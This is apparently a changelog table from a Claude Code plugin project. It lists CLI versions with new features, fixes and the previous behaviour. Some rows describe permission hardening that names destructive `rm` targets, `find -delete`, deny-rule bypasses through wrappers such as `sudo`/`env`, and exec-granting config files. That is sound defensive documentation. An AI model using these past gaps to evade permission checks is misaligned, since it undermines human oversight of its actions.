| `ANTHROPIC_DEFAULT_*_MODEL_NAME/_DESCRIPTION` | 2.1.84 | Customize /model picker labels for custom deployments | Generic model labels |
| `CLAUDE_STREAM_IDLE_TIMEOUT_MS` | 2.1.84 | Configurable streaming idle watchdog. **The former "default 90s, OrchestKit sets 180s" note here was stale and is corrected**: at 2.1.226 the binary clamps the parsed env value with `Math.max(&lt;parsed value, or 0&gt;, 300000)` (verified by `strings` on the real 2.1.226 binary), so 300s is a hard floor and any smaller value is discarded. ork ships no value — the 180000 it used to declare was both below the floor and inside the inert plugin `env` block (see the plugin-settings row at 2.1.226) | No way to raise the idle watchdog above its floor for very long agent runs |
| `allowedChannelPlugins` managed setting | 2.1.84 | Enterprise admin plugin allowlist for channel plugins | No channel plugin governance |
| `x-client-request-id` header | 2.1.84 | API request correlation ID for debugging timeouts | No request-level tracing |
| PowerShell tool (Windows opt-in) | 2.1.84 | Native PowerShell as alternative to Git Bash on Windows | Git Bash only on Windows |
| MCP tool description 2KB cap | 2.1.84 | Prevents OpenAPI-generated servers from bloating context | Unbounded MCP tool descriptions |
| MCP server deduplication | 2.1.84 | Local MCP config wins over claude.ai connectors | Duplicate MCP connections |
| Workflow subagent `json-schema` fix | 2.1.84 | Outer session + subagent both specifying schema no longer 400s | API 400 on nested json-schema |
| System-prompt caching + ToolSearch | 2.1.84 | Global caching works when ToolSearch enabled (incl. MCP users) | Cache misses with ToolSearch |
| Idle-return prompt (75+ min) | 2.1.84 | Nudges `/clear` after 75+ minutes idle, reduces stale token re-caching | No idle session detection |
| `owner/repo#123` link format | 2.1.84 | Bare `#123` no longer auto-linked; must use `owner/repo#123` | Bare `#123` was auto-linked |
| Improved startup parallelism (30ms) | 2.1.84 | `setup()` runs in parallel with slash command and agent loading | Sequential startup |
| MCP startup non-blocking | 2.1.84 | REPL renders immediately, MCP servers connect in background | REPL blocked until all MCP servers connect |
| Background bash stuck notification | 2.1.84 | Tasks stuck on interactive prompt surface notification after ~45s | Stuck tasks hang silently |
| MCP cache leak fix on reconnect | 2.1.84 | Tool/resource cache properly cleaned on server reconnect | Memory leak on MCP reconnect |
| `p90` prompt cache rate improvement | 2.1.84 | Better prompt caching across sessions | Lower cache hit rate |
| PreToolUse for AskUserQuestion | 2.1.85 | Headless AskUserQuestion responder hooks | No hook on AskUserQuestion |
| Config disk write fix | 2.1.86 | Eliminates unnecessary config writes on every skill invocation | Unnecessary disk I/O per skill |
| Write/Edit outside project root | 2.1.86 | Write/Edit fix for files outside project root | Write/Edit fails for external files |
| `PermissionDenied` hook event | 2.1.88 | Fires after auto mode classifier denials, supports `\{retry: true\}` | No hook on permission denials |
| `permissionMode: "auto"` | 2.1.88 | Classifier-based approval replaces interactive prompts | Interactive permission prompts |
| `file_path` always absolute | 2.1.88 | PreToolUse/PostToolUse file_path always absolute for Write/Edit/Read | Relative paths possible |
| Compound `if` matching | 2.1.88 | Hook `if` conditions match compound commands and env-var prefixes | Only simple command matching |
| `CLAUDE_CODE_NO_FLICKER=1` | 2.1.88 | Flicker-free alt-screen rendering with virtualized scrollback | Default rendering |
| `"defer"` permission decision | 2.1.89 | PreToolUse hooks return `decision:"defer"` to pause headless sessions | Only allow/deny/ask |
| `TaskCreated` hook blocking | 2.1.89 | TaskCreated hook fires with documented blocking behavior | TaskCreated (2.1.84) without blocking docs |
| `MCP_CONNECTION_NONBLOCKING=true` | 2.1.89 | Skip MCP connection wait in `-p` mode, bounded at 5s | Blocks on slowest MCP server |
| Named subagent typeahead | 2.1.89 | Named subagents appear in `@` mention typeahead | Only file names in typeahead |
| Hook output disk spill | 2.1.89 | Hook output >50K chars saved to disk with file path + preview | Full output injected into context |
| Edit after Bash view | 2.1.89 | Edit works on files viewed via `sed -n`/`cat` without Read | Must Read before Edit |
| Symlink permission check | 2.1.89 | Edit/Read allow rules check resolved symlink target | Only requested path checked |
| `/powerup` interactive lessons | 2.1.90 | Interactive feature tutorials with animated demos | No built-in learning tools |
| `CLAUDE_CODE_PLUGIN_KEEP_MARKETPLACE_ON_FAILURE` | 2.1.90 | Keep marketplace cache when `git pull` fails (offline support) | Marketplace cache lost on git failure |
| `.husky` protected directory | 2.1.90 | `.husky` added to protected dirs in acceptEdits mode | .husky writable in acceptEdits |
| PreToolUse exit code 2 JSON fix | 2.1.90 | Hooks emitting JSON to stdout with exit code 2 now correctly block | Exit code 2 JSON silently ignored |
| Format-on-save hook fix | 2.1.90 | Edit/Write no longer fail when PostToolUse format-on-save rewrites file | "File content has changed" error |
| `--resume` prompt cache fix | 2.1.90 | `--resume` no longer causes full prompt-cache miss with deferred tools/MCP | Full cache miss on resume |
| MCP schema cache perf | 2.1.90 | Eliminated per-turn JSON.stringify of MCP tool schemas | Redundant serialization per turn |
| SSE linear transport perf | 2.1.90 | SSE transport handles large frames in linear time (was quadratic) | Quadratic SSE processing |
| Transcript write perf | 2.1.90 | Long conversations no longer slow down quadratically on transcript writes | Quadratic transcript slowdown |
| `--resume` hides `-p` sessions | 2.1.90 | Resume picker no longer shows `claude -p` or SDK sessions | `-p` sessions in resume picker |
| DNS cache auto-allow removed | 2.1.90 | `Get-DnsClientCache` and `ipconfig /displaydns` removed from auto-allow | DNS cache commands auto-allowed |
| MCP `_meta` result size override | 2.1.91 | `_meta["anthropic/maxResultSizeChars"]` annotation (up to 500K) — mcp-output-transform respects it | Large MCP results always truncated at 2000 chars |
| `disableSkillShellExecution` | 2.1.91 | Setting disables inline shell in skills/commands/plugins | Shell execution always enabled |
| Plugin `bin/` executables | 2.1.91 | Plugins ship executables under `bin/` invokable as bare Bash commands | Must use full paths to plugin scripts |
| Deep link multiline prompts | 2.1.91 | `claude-cli://open?q=` supports `%0A` encoded newlines | Multi-line deep links rejected |
| Edit tool shorter anchors | 2.1.91 | Edit uses shorter `old_string` anchors, reducing output tokens | Longer anchors, more output tokens |
| `--resume` transcript chain fix | 2.1.91 | Async transcript write failures no longer lose conversation history | History loss on async write failure |
| `permissions.defaultMode:"auto"` validation | 2.1.91 | JSON schema validates `auto` as permission mode | `auto` accepted but could cause issues |
| Plan mode remote session fix | 2.1.91 | Plan file retained after container restart in remote sessions | Plan lost after container restart |
| `forceRemoteSettingsRefresh` policy | 2.1.92 | Fail-closed startup: blocks until remote managed settings fetched, exits on failure | Stale managed settings on startup |
| Stop hook `preventContinuation` fix | 2.1.92 | prompt-type Stop hooks no longer fail when small fast model returns `ok:false`; `preventContinuation:true` restored | Stop hooks could incorrectly fail |
| Tool input JSON-string streaming fix | 2.1.92 | Array/object `tool_input` fields no longer emitted as JSON-encoded strings during streaming | PreToolUse hooks receive malformed tool_input |
| Plugin MCP stuck "connecting" fix | 2.1.92 | Plugin MCP servers no longer stuck connecting when duplicating unauthenticated claude.ai connectors | MCP servers hang on session start |
| Write tool diff perf | 2.1.92 | 60% faster diff computation for large files with tabs/&/$ characters | Slower Write tool on large files |
| Remote Control hostname prefix | 2.1.92 | Session names default to hostname prefix, overridable with `--remote-control-session-name-prefix` | Generic session names |
| Per-model `/cost` breakdown | 2.1.92 | `/cost` shows per-model and cache-hit breakdown for subscription users | Aggregate cost only |
| `/tag` command removed | 2.1.92 | Removed — no OrchestKit references | N/A |
| `/vim` command removed | 2.1.92 | Removed — toggle via `/config` → Editor mode | N/A |
| Subagent tmux pane fix | 2.1.92 | Subagent spawning no longer fails after tmux windows killed/renumbered | "Could not determine pane count" error |
| Prompt cache expiry hint | 2.1.92 | Pro users see uncached token count when returning after cache expires | No cache expiry visibility |
| **Skill frontmatter hooks fix** | **2.1.94** | **OrchestKit skill context loaders (assess, implement, verify, brainstorm, review-pr, fix-issue, doctor, explore, cover, setup, commit, quality-gates, visualize-plan, code-review-playbook) declared via `hooks:` in SKILL.md frontmatter now fire — previously silently ignored** | **Every skill context loader dead — skills run without their primed context (much worse UX)** |
| `hookSpecificOutput.sessionTitle` | 2.1.94 | unified-dispatcher sets session title from branch/effort/skill context — visible in prompt bar and remote sessions | Sessions use auto-generated names |
| `keep-coding-instructions` frontmatter | 2.1.94 | Plugin output styles preserve coding instructions when set true | Output styles may strip coding guidance |
| Plugin skill name stability | 2.1.94 | `"skills": ["./"]` uses frontmatter `name` for invocation, stable across install methods | Invocation name depends on directory basename |
| `$\{CLAUDE_PLUGIN_ROOT\}` local-marketplace fix | 2.1.94 | Resolves to installed cache (not marketplace source) for local-marketplace plugins | File lookups point at wrong directory |
| Plugin hooks CLAUDE_PLUGIN_ROOT fix | 2.1.94 | Plugin hooks no longer fail with "No such file or directory" when env var unset | Hooks fail cold-start on some platforms |
| Default effort `high` | 2.1.94 | Default effort level is `high` for API-key/Bedrock/Vertex/Foundry/Team/Enterprise users (use `/effort low` or `/effort medium` to reduce) | Default `medium` — token budgets scaled conservatively |
| 429 rate-limit surface | 2.1.94 | Agents no longer stuck after 429 with long Retry-After — error surfaces immediately | Agents appear stuck, silent wait |
| SDK/print mode partial response fix | 2.1.94 | Preserves partial assistant response on interrupt mid-stream | Partial responses lost, breaks bare-eval/eval-runner |
| `--resume` across worktrees | 2.1.94 | Resume sessions from other worktrees of the same repo directly (was: print `cd` command) | Must cd manually to resume worktree session |
| CJK/multibyte stream-json fix | 2.1.94 | No U+FFFD corruption when chunk boundaries split UTF-8 sequences | International content corrupted in stream-json |
| Amazon Bedrock via Mantle | 2.1.94 | Opt in with `CLAUDE_CODE_USE_MANTLE=1` | Standard Bedrock only |
| Bedrock bearer token 403 fix | 2.1.96 | Fixed 403 "Authorization header is missing" regression when using `AWS_BEARER_TOKEN_BEDROCK` or `CLAUDE_CODE_SKIP_BEDROCK_AUTH` (regression in 2.1.94) | Bedrock bearer-token auth broken on 2.1.94 |
| MCP tool description 2KB cap | 2.1.95 | Tool descriptions and server instructions capped at 2KB — prevents OpenAPI-generated MCP servers from bloating context | Verbose MCP descriptions consume unbounded context |
| MCP local config dedup | 2.1.95 | MCP servers configured both locally and via claude.ai connectors are deduplicated, local config wins | Duplicate MCP tools from both sources |
| Focus view toggle (`/focus`) | 2.1.97 (2.1.110: moved from `Ctrl+O` to `/focus` command) | Condensed view in NO_FLICKER mode: prompt, one-line tool summary with edit diffstats, final response | No condensed view option |
| `refreshInterval` status line | 2.1.97 | New setting re-runs the status line command every N seconds automatically | Status line only updates per turn |
| `workspace.git_worktree` | 2.1.97 | Boolean in status line JSON input, set when cwd is inside a linked git worktree | Must shell out to detect worktree |
| `● N running` in `/agents` | 2.1.97 | Live subagent instance count next to each agent type | No live agent count |
| Stop/SubagentStop long-session fix | 2.1.97 | prompt-type Stop/SubagentStop hooks no longer fail on long sessions; hook evaluator shows actual error | Hooks fail silently on long sessions |
| Subagent worktree/cwd leak fix | 2.1.97 | Subagents with worktree isolation or `cwd:` override no longer leak working directory back to parent Bash tool | Parent inherits child's cwd |
| `claude plugin update` fix | 2.1.97 | No longer reports "already at latest" for git-based marketplace plugins when remote has newer commits | Users stuck on stale plugin versions |
| YAML boolean skill name fix | 2.1.97 | Slash command picker no longer breaks when plugin frontmatter `name` is a YAML boolean keyword | Skills named true/false/yes/no break picker |
| Bash permissions hardened | 2.1.97 | Tighter env-var prefix checks and network redirect validation, fewer false prompts on common commands | Looser Bash permission checks |
| Accept Edits env-prefix auto-approve | 2.1.97 | Auto-approves filesystem commands prefixed with safe env vars or process wrappers (e.g. `LANG=C rm foo`) | Env-prefixed commands always prompt |
| `sandbox.network.allowMachLookup` macOS | 2.1.97 | Now actually takes effect on macOS | Setting ignored on macOS |
| MCP HTTP/SSE memory leak fix | 2.1.97 | Connections no longer accumulate ~50 MB/hr of unreleased buffers on reconnect | Memory leak on MCP reconnect |
| MCP OAuth metadata URL fix | 2.1.97 | `oauth.authServerMetadataUrl` honored on token refresh after restart (fixes ADFS) | Token refresh ignores custom auth URL |
| 429 retry exponential backoff | 2.1.97 | Exponential backoff applied as minimum instead of burning all attempts in ~13s | Retries exhaust quickly |
| `/resume` picker fixes | 2.1.97 | `--resume &lt;name&gt;` editable, Ctrl+A reload preserves search, task-status text fixed, cross-project staleness | Multiple resume UX bugs |
| Resume large file diff fix | 2.1.97 | File-edit diffs no longer disappear on `--resume` for files >10KB | Diffs lost for large files |
| Compaction subagent transcript dedup | 2.1.97 | No longer writes duplicate multi-MB subagent transcripts on prompt-too-long retries | Transcript bloat on long sessions |
| Prototype property settings.json fix | 2.1.97 | Permission rules with names matching JS prototype properties (toString, constructor) no longer cause settings.json to be silently ignored | Named rules can break entire config |
| Image compression parity | 2.1.97 | Pasted/attached images compressed to same token budget as Read tool images | Pasted images use more tokens than Read |
| Bash OTEL TRACEPARENT | 2.1.97 | Subprocesses inherit W3C `TRACEPARENT` env var when OTEL tracing is enabled | No trace propagation to subprocesses |
| Managed-settings removal fix | 2.1.97 | Allow rules removed by admin take effect without process restart | Stale rules until restart |
| `additionalDirectories` mid-session | 2.1.97 | `permissions.additionalDirectories` changes in settings apply mid-session | Changes require restart |
| Bridge session git info | 2.1.97 | Bridge sessions show local git repo, branch, and working directory on claude.ai session card | No git context on bridge card |
| Transcript size optimization | 2.1.97 | Skip empty hook entries and cap stored pre-edit file copies | Larger transcripts |
| `/team-onboarding` command | 2.1.101 | Generate teammate ramp-up guide from local CC usage | No onboarding automation |
| OS CA certificate store trust | 2.1.101 | Enterprise TLS proxies work OOTB (set `CLAUDE_CODE_CERT_STORE=bundled` for only bundled CAs) | Must configure CA certs manually |
| `deny` overrides `ask` | 2.1.101 | `permissions.deny` rules override PreToolUse hook `permissionDecision:"ask"` | deny and ask conflict silently |
| Subagent dynamic MCP inheritance | 2.1.101 | Subagents inherit MCP tools from dynamically-injected servers | Subagents miss dynamic MCP tools |
| Worktree agent file access | 2.1.101 | Worktree-isolated agents can Read/Edit files inside their own worktree | Worktree agents denied file access |
| Focus mode self-contained summaries | 2.1.101 | Claude writes self-contained summaries knowing user only sees final message | Summaries reference invisible tool output |
| Settings resilience | 2.1.101 | Unrecognized hook event name no longer causes entire settings.json to be ignored | Typo in event name breaks all hooks |
| `EnterWorktree` path param | 2.1.105 | Switch into existing worktrees via `path` parameter (previously only created new) | Must create new worktree every time |
| `PreCompact` blocking | 2.1.105 | Hooks can block compaction via exit code 2 or `\{"decision":"block"\}` JSON | PreCompact observe-only |
| Plugin `monitors` manifest key | 2.1.105 | Background monitor support for plugins via top-level `monitors` manifest key | No declarative background monitoring |
| Skill description cap 1,536 chars | 2.1.105 | Skill descriptions up to 1,536 chars (was 250) — better discovery and selection | Descriptions truncated at 250 chars |
| `WebFetch` script stripping | 2.1.105 | Strips `&lt;style&gt;` and `&lt;script&gt;` content before returning markdown | CSS/JS waste context budget |
| Stale worktree squash cleanup | 2.1.105 | Worktrees from squash-merged PRs auto-cleaned | Orphaned worktrees accumulate |
| `ENABLE_PROMPT_CACHING_1H` | 2.1.108 | 1-hour prompt cache TTL across API key, Bedrock, Vertex, Foundry — **major cost savings for long sessions** | 5-minute cache TTL (default) |
| `/recap` session context | 2.1.108 | Auto-recap on return + manual `/recap` command for session context restoration | No context restoration after idle |
| Skill builtin discovery | 2.1.108 | Model auto-discovers `/init`, `/review`, `/security-review` via Skill tool | Must explicitly invoke built-in commands |
| Model switch warning | 2.1.108 | `/model` warns before switching mid-conversation to prevent cache invalidation | Silent model switch loses cache |
| Lazy language grammars | 2.1.108 | Grammars loaded on demand — reduced memory for file operations | All grammars loaded at startup |
| Thinking progress rotation | 2.1.109 | Extended thinking indicator with rotating progress hint | Static thinking indicator |
| `/tui` command | 2.1.110 | Switch to flicker-free fullscreen TUI rendering mid-conversation via `/tui fullscreen` | Must restart with `--tui` flag |
| `PushNotification` tool | 2.1.110 | Built-in tool for mobile push notifications when Remote Control enabled | No programmatic push notifications |
| `/focus` command | 2.1.110 | Dedicated command for focus view (previously `Ctrl+O` since 2.1.97) | Focus view via `Ctrl+O` |
| `Ctrl+O` transcript toggle | 2.1.110 | Now only toggles between normal and verbose transcript view | Also toggled focus view |
| Bash max timeout enforced | 2.1.110 | Bash tool enforces documented max timeout — values exceeding limit hard-fail | Accepted arbitrarily large values |
| Write user-edit signal | 2.1.110 | Write tool tells model when user edits proposed diff before accepting | No user-edit feedback |
| Session recap default-on | 2.1.110 | Session recap enabled even with telemetry disabled — opt out via `/config` | Required `CLAUDE_CODE_ENABLE_AWAY_SUMMARY=1` |
| `--resume` scheduled tasks | 2.1.110 | `--resume`/`--continue` resurrects unexpired scheduled tasks | Only restored session history |
| Remote Control commands | 2.1.110 | `/autocompact`, `/context`, `/exit`, `/reload-plugins` work from Remote Control | Limited remote command set |
| SDK TRACEPARENT/TRACESTATE | 2.1.110 | Auto-read in SDK/headless for OpenTelemetry distributed trace propagation | Manual trace propagation |
| `/doctor` MCP duplicate | 2.1.110 | Warns when same MCP server defined in multiple config scopes with different endpoints | Silent duplicate MCP |
| Opus 4.7 + `xhigh` effort | 2.1.111 | New effort tier between `high` and `max` for Opus 4.7 — used by `brainstorm`, `implement`, `assess`, `cover`, `verify`, `fix-issue`, `audit-full` | Silent fallback to `high` |
| `/ultrareview` skill | 2.1.111 | Built-in parallel multi-agent review; composed (gated) by `ork:review-pr` when triggers fire | Manual multi-agent review via `ork:review-pr` only |
| `/less-permission-prompts` | 2.1.111 | Built-in skill that prunes overbroad permission rules by scanning transcripts | Manual permission audit |
| Stream-json `plugin_errors` | 2.1.111 | Headless `--output-format stream-json` includes `plugin_errors` on init event | Silent plugin load failures — degraded evals |
| `OTEL_LOG_RAW_API_BODIES` | 2.1.111 | Env var for debugging raw API request/response bodies | No raw-body debug path (secret leak risk if enabled carelessly) |
| `CLAUDE_CODE_USE_POWERSHELL_TOOL` | 2.1.111 | Windows PowerShell tool opt-in (progressively rolling out) | CMD tool on Windows |
| Opus 4.7 vision 2,576px | 2.1.111 | Images up to 2,576 px on long edge (~3.75 MP, 3× Opus 4.6) | Must downscale large screenshots |
| Opus 4.7 filesystem memory | 2.1.111 | Model "substantially better" at reading `.claude/chain/*.json` and `memory/*.md` across sessions | Filesystem memory less reliable |
| Auto mode on Max + Opus 4.7 | 2.1.111 | No `--enable-auto-mode` flag required | Flag required |
| Plan filename after prompt | 2.1.111 | Plan-mode files named after the prompt (was: random words) | Generic plan filenames |
| Readonly bash+glob no prompt | 2.1.111 | Read-only Bash with glob patterns no longer prompts | Permission prompt per read-only command |
| `/skills` menu token sort | 2.1.111 | Press `t` to toggle sort by token count | Alpha only |
| Native binary spawn | 2.1.113 | CLI spawns per-platform native binary via optional dep instead of bundled JS — affects hooks that inspect `process.argv0`, `__dirname`, `node_modules` paths | Hooks assume bundled-JS layout |
| `sandbox.network.deniedDomains` | 2.1.113 | Block specific domains even when broader `allowedDomains` wildcard would permit them | Wildcard allow has no exceptions |
| `/loop` Esc cancels wakeup | 2.1.113 | Pending `/loop` wakeups cancellable via Esc; transcript marker `"Claude resuming /loop wakeup"` enables analytics | Wakeup uninterruptible |
| Bash deny wrappers match | 2.1.113 | Deny rules match commands wrapped in `env`/`sudo`/`watch`/`ionice`/`setsid` | Previous wrapper bypass |
| Bash multiline comments in transcript | 2.1.113 | Multi-line Bash commands with leading `#` comments now show full command in transcript — enables `/recap` grep on intent comments | Heredocs/pipe chains opaque in transcript |
| `Bash(find:*)` tightened | 2.1.113 | Auto-approve no longer covers `-exec`/`-delete` — explicit allowlist or manual approval required | `find -delete` auto-approved |
| macOS `/private/*` dangerous | 2.1.113 | `/private/\{etc,var,tmp,home\}` treated as dangerous under `Bash(rm:*)` deny rules (symlink targets) | Symlink escape via `/private/etc` |
| MCP concurrent timeout fix | 2.1.113 | Hanging MCP calls error cleanly instead of blocking queue | MCP calls could silently hang siblings |
| Subagent stall error | 2.1.113 | Subagent timeouts produce clear error after 10 min instead of hanging indefinitely | Silent hang on stalled subagent |
| Remote Control `/extra-usage` | 2.1.113 | `/extra-usage` and `@`-file autocomplete work from mobile/web Remote Control clients | Desktop-only `/extra-usage` |
| Agent teams permission fix | 2.1.114 | Fixed permission dialog crash when agent-teams teammate requests tool approval | Dialog crash on teammate approval |
| Agent hooks main-thread | 2.1.116 | Agent frontmatter `hooks:` fire when agent runs as `--agent` main thread — previously subagent-only | Main-thread agent has no PreToolUse/PostToolUse blockers |
| `/reload-plugins` auto-deps | 2.1.116 | Auto-installs missing plugin dependencies from known marketplaces | Plugin silently fails to load |
| `/doctor` mid-turn | 2.1.116 | `/doctor` runs while Claude is responding (was queued) — enables mid-session diagnostics | Must wait for turn to finish |
| Sandbox `rm` dangerous-path | 2.1.116 | Sandbox auto-allow no longer bypasses dangerous-path check for `rm`/`rmdir` targeting `/`, `$HOME`, critical system dirs | Prior auto-allow escape hatch |
| `/config` search option values | 2.1.116 | Search matches option values, not just keys (e.g. `vim` finds Editor mode) | Keys-only search |
| Slash empty-state | 2.1.116 | Slash command menu shows "No commands match" when filter has zero results | Menu disappeared |
| Bash `gh` rate-limit hint | 2.1.116 | Bash surfaces a hint when `gh` hits GitHub API rate limit — helps agents back off | Blind retry on 403 |
| Usage tab immediate | 2.1.116 | Settings Usage tab renders 5-hour/weekly usage immediately, with fallback when `/usage` endpoint is rate-limited | Blank Usage tab during rate-limit |
| `/terminal-setup` scroll | 2.1.116 | Configures VS Code/Cursor/Windsurf editor scroll sensitivity for smoother fullscreen scrolling | Default terminal scroll feels stuttery in IDE terminals |
| `/resume` fast on large sessions | 2.1.116 | Up to 67% faster on 40 MB+ sessions; MCP stdio startup parallelized, `resources/templates/list` deferred to first `@`-mention | Long `/resume` wait on big sessions |
| Agent `mcpServers:` main-thread | 2.1.117 | Agent frontmatter `mcpServers:` loads for `--agent` main-thread sessions — parallels 2.1.116 agent hooks main-thread behavior | Main-thread agent missing its declared MCPs |
| `CLAUDE_CODE_FORK_SUBAGENT=1` | 2.1.117 | External builds can opt into forked subagents via env var | Full subagent spawn on external builds |
| `plugin install` auto-deps | 2.1.117 | Re-install on already-installed plugin fetches missing dependencies instead of short-circuiting | Manual dep fetch after partial install |
| Marketplace auto-deps | 2.1.117 | `claude plugin marketplace add` auto-resolves missing dependencies from configured marketplaces | Manual resolution of marketplace deps |
| Managed marketplace enforcement | 2.1.117 | `blockedMarketplaces`/`strictKnownMarketplaces` enforced on plugin install/update/refresh/autoupdate | Policy bypass on later operations |
| `/model` persists across restarts | 2.1.117 | Selections persist even when project pins a different model; startup header shows pin source | Pin lost on restart |
| `/resume` large-session summary | 2.1.117 | `/resume` offers to summarize stale large sessions before re-reading | Full re-read of stale sessions |
| OTEL `command_name`/`command_source` | 2.1.117 | `user_prompt` OTEL events distinguish user-typed slash commands from model-invoked ones | No slash-command attribution in analytics |
| OTEL `effort` attr | 2.1.117 | `cost.usage`, `token.usage`, `api_request`, `api_error` include effort attribute | No per-effort cost breakdown |
| Opus/Sonnet 4.6 default effort | 2.1.117 | **Pro/Max subscribers on Opus 4.6 + Sonnet 4.6 now default to `high` (was `medium`)** — skills assuming medium-default get wrong cost expectations | Medium-default cost assumptions off by ~2-3× |
| Advisor Tool (experimental) | 2.1.117 | New experimental tool; dialog has experimental label + learn-more link | Previous stuck-session errors on Advisor tool |
| `cleanupPeriodDays` expansion | 2.1.117 | Retention sweep now covers `~/.claude/tasks/`, `~/.claude/shell-snapshots/`, `~/.claude/backups/` | Tasks/snapshots/backups retained indefinitely |
| Native `bfs`/`ugrep` | 2.1.117 | Native builds replace Glob/Grep tools with embedded `bfs` and `ugrep` via Bash | Slower tree-traversal on native builds |
| Opus 4.7 `/context` fix | 2.1.117 | `/context` correctly computes against 1M window (was showing inflated 200K percentage) | Early autocompact on Opus 4.7 1M sessions |
| `/reload-skills` command | 2.1.152 | Re-scans skill directories without restarting; `SessionStart` hooks can return `reloadSkills: true` to expose hook-installed skills the same session | Restart required to pick up new/edited skills |
| `marketplace remove --scope` | 2.1.152 | `claude plugin marketplace remove` accepts `--scope user\|project\|local`, matching `add`/`install`/`uninstall` | `remove` had no scope selector |
| `disallowed-tools` frontmatter | 2.1.152 | Skills/slash commands can set `disallowed-tools` to remove tools while active (ork uses `allowed-tools` allowlists instead) | Tool restriction only via allowlist |
| `--fallback-model` session switch | 2.1.152 | When the primary model is not found, CC switches to the configured `--fallback-model` for the rest of the session instead of failing every request | Every request errored on a missing primary model |
| auto mode no consent | 2.1.152 | `permissionMode: "auto"` no longer requires opt-in consent before the classifier approves tools | Auto mode gated behind a one-time consent prompt |
| sandbox warning in condensed layout | 2.1.152 | The sandbox-enabled warning now shows in every startup layout — previously missing in condensed mode | Sandbox warning hidden in condensed startup |
| `MessageDisplay` hook event | 2.1.152 | New hook event: hooks can transform or hide assistant message text as it is displayed. ork has no MessageDisplay hook (recognized in the `HookEvent` type union for future use; not in the curated hook-contract spec) | No hook-point for displayed assistant text |
| Opus 4.8 + default effort | 2.1.154 | Opus 4.8 launches; **defaults to `high` effort**, `xhigh` for the hardest tasks. Lean system prompt is now default for all models except Haiku/Sonnet/Opus ≤ 4.7 | Opus 4.7 was the newest; `xhigh` framed as 4.7-only |
| Dynamic workflows / `/workflows` | 2.1.154 | Ask Claude to create a workflow; it orchestrates tens-to-hundreds of agents in the background. `/workflows` lists runs. ork treats it as complementary to its foreground Agent Teams patterns (see `agent-orchestration`, `swarm-migrate`) | No native large-scale background orchestration |
| `/simplify` cleanup-only | 2.1.154 | `/simplify` now runs a cleanup-only review (reuse, simplification, efficiency, altitude) and applies fixes — it **no longer** invokes the full `/code-review --fix` bug-hunt | ork's code-review-playbook briefly documented the old behavior (fixed) |
| subagent worktree-isolation guard | 2.1.154 | Subagents in background sessions no longer bypass the worktree-isolation guard / write to the shared checkout; `worktree.baseRef:"head"` resolves the current worktree's HEAD when spawning from a linked worktree. A residual shell-command leak persisted until 2.1.203 (see that row) | `Agent(isolation:"worktree")` thrashed the shared checkout; manual pre-create workaround needed |
| `/effort` label rename | 2.1.154 | `/effort` slider labels renamed "Speed"/"Intelligence" → "Faster"/"Smarter" | Old labels |
| `! &lt;command&gt;` bg shell | 2.1.154 | `claude agents` runs a shell command as an attach/detachable background session via `! &lt;command&gt;` (or `claude --bg --exec`) — documented in `ork:dev` | No backgrounded shell from the agents view |
| multiple-choice reserved | 2.1.154 | CC reserves the multiple-choice prompt for decisions it genuinely can't make itself; don't gate orchestration on resolvable `AskUserQuestion`s (`agent-orchestration`) | Asked even when context sufficed |
| `/model` default persist | 2.1.153 | `/model` saves the selection as the default for new sessions; press `s` for session-only. **BREAKING:** keybinding `modelPicker:setAsDefault` renamed to `modelPicker:thisSessionOnly` | `d` set default; old binding name silently dead |
| subagent MCP policy + strict-config fixes | 2.1.153 | Subagent frontmatter `mcpServers` now honor `--strict-mcp-config`/`--bare`/managed-MCP allow-deny; `--strict-mcp-config` no longer strips inline `mcpServers` from explicit `--agents` defs. ork agents declaring `mcpServers` inherit policy correctly — no ork change | Subagent MCP servers bypassed managed policy |
| OAuth gateway credential fix | 2.1.153 | Fixed a custom API gateway receiving the user's Anthropic OAuth credential instead of the gateway's own token (security). CC-internal; no ork surface | Gateway could receive the wrong credential |
| `/usage` per-category breakdown | 2.1.149 | `/usage` breaks cost down per skill, subagent, plugin, and per-MCP-server — complements `claude plugin details ork` for ork cost audits | Aggregate usage only |
| internal infra + thinking-block fix | 2.1.155–2.1.156 | 2.1.155 is internal infrastructure only; 2.1.156 fixes a client crash where modified thinking blocks on Opus 4.8 caused API errors. No ork surface | — |
| `.claude/skills` autoload + `plugin init` | 2.1.157 | Plugins under `.claude/skills` auto-load without a marketplace; `claude plugin init &lt;name&gt;` scaffolds a plugin; `EnterWorktree` switches worktree mid-session; `OTEL_LOG_TOOL_DETAILS=1` adds `tool_parameters` spans; `/config` toggles the Workflow keyword trigger. ork: no adoption yet (local-skills autoload could simplify dev installs) | Plugins required a marketplace; no mid-session worktree switch |
| auto mode on cloud providers | 2.1.158 | `CLAUDE_CODE_ENABLE_AUTO_MODE=1` enables auto mode on Bedrock/Vertex/Foundry for Opus 4.7 & 4.8. Latest published CC (2026-05-30). No ork surface | Auto mode was first-party API only |
| shell startup file write prompt | 2.1.160 | CC prompts before writing shell startup files (`.zshenv`/`.zlogin`/`.bash_login`, `~/.config/git/`); documented in `security-patterns`, `configure` | Silent writes to exec-on-load files |
| `acceptEdits` build-config write prompt | 2.1.160 | `acceptEdits` mode prompts before writing build-tool configs that grant code execution (`.npmrc`, `bunfig.toml`, `.bazelrc`, `.pre-commit-config.yaml`, `.devcontainer/`) | Silent writes to exec-granting build configs |
| grep satisfies read-before-edit | 2.1.160 | A single-file `grep`/`egrep`/`fgrep` now satisfies the read-before-edit check; a separate Read is no longer required before Edit | Redundant Read required before each Edit |
| bg session SIGTERM before SIGKILL | 2.1.160 | Background-session teardown (`claude rm`/`stop`, idle reap) sends SIGTERM to shell subprocesses before SIGKILL so cleanup handlers run | Cleanup handlers skipped on teardown |
| workflow trigger renamed `ultracode` | 2.1.160 | Dynamic-workflow trigger keyword renamed `workflow` → `ultracode`; the bare word "workflow" no longer triggers a run. ork invokes the Workflow tool programmatically, so no skill copy depends on the keyword | Typing "workflow" silently triggered a run |
| parallel tool independent failure | 2.1.161 | A failed Bash in a parallel tool batch no longer cancels sibling calls; each returns independently. Noted in `chain-patterns`, `agent-orchestration`, `task-dependency-patterns` | One failed call aborted the whole batch |
| `claude mcp` secret redaction | 2.1.161 | `claude mcp list/get/add` no longer expands `$\{VAR\}` refs and redacts credential headers + URL secrets; noted in `mcp-patterns`, `security-patterns` | Secrets printed to terminal |
| OTEL resource-attr metric labels | 2.1.161 | `OTEL_RESOURCE_ATTRIBUTES` attached as labels on metric datapoints for slicing by team/repo; noted in `monitoring-observability`, `telemetry-inspect` | No custom-dimension slicing of usage metrics |
| `claude agents` done/total | 2.1.161 | `claude agents` rows show `done/total` for fanned-out work; peek shows the longest-running item | No fan-out progress in the agents list |
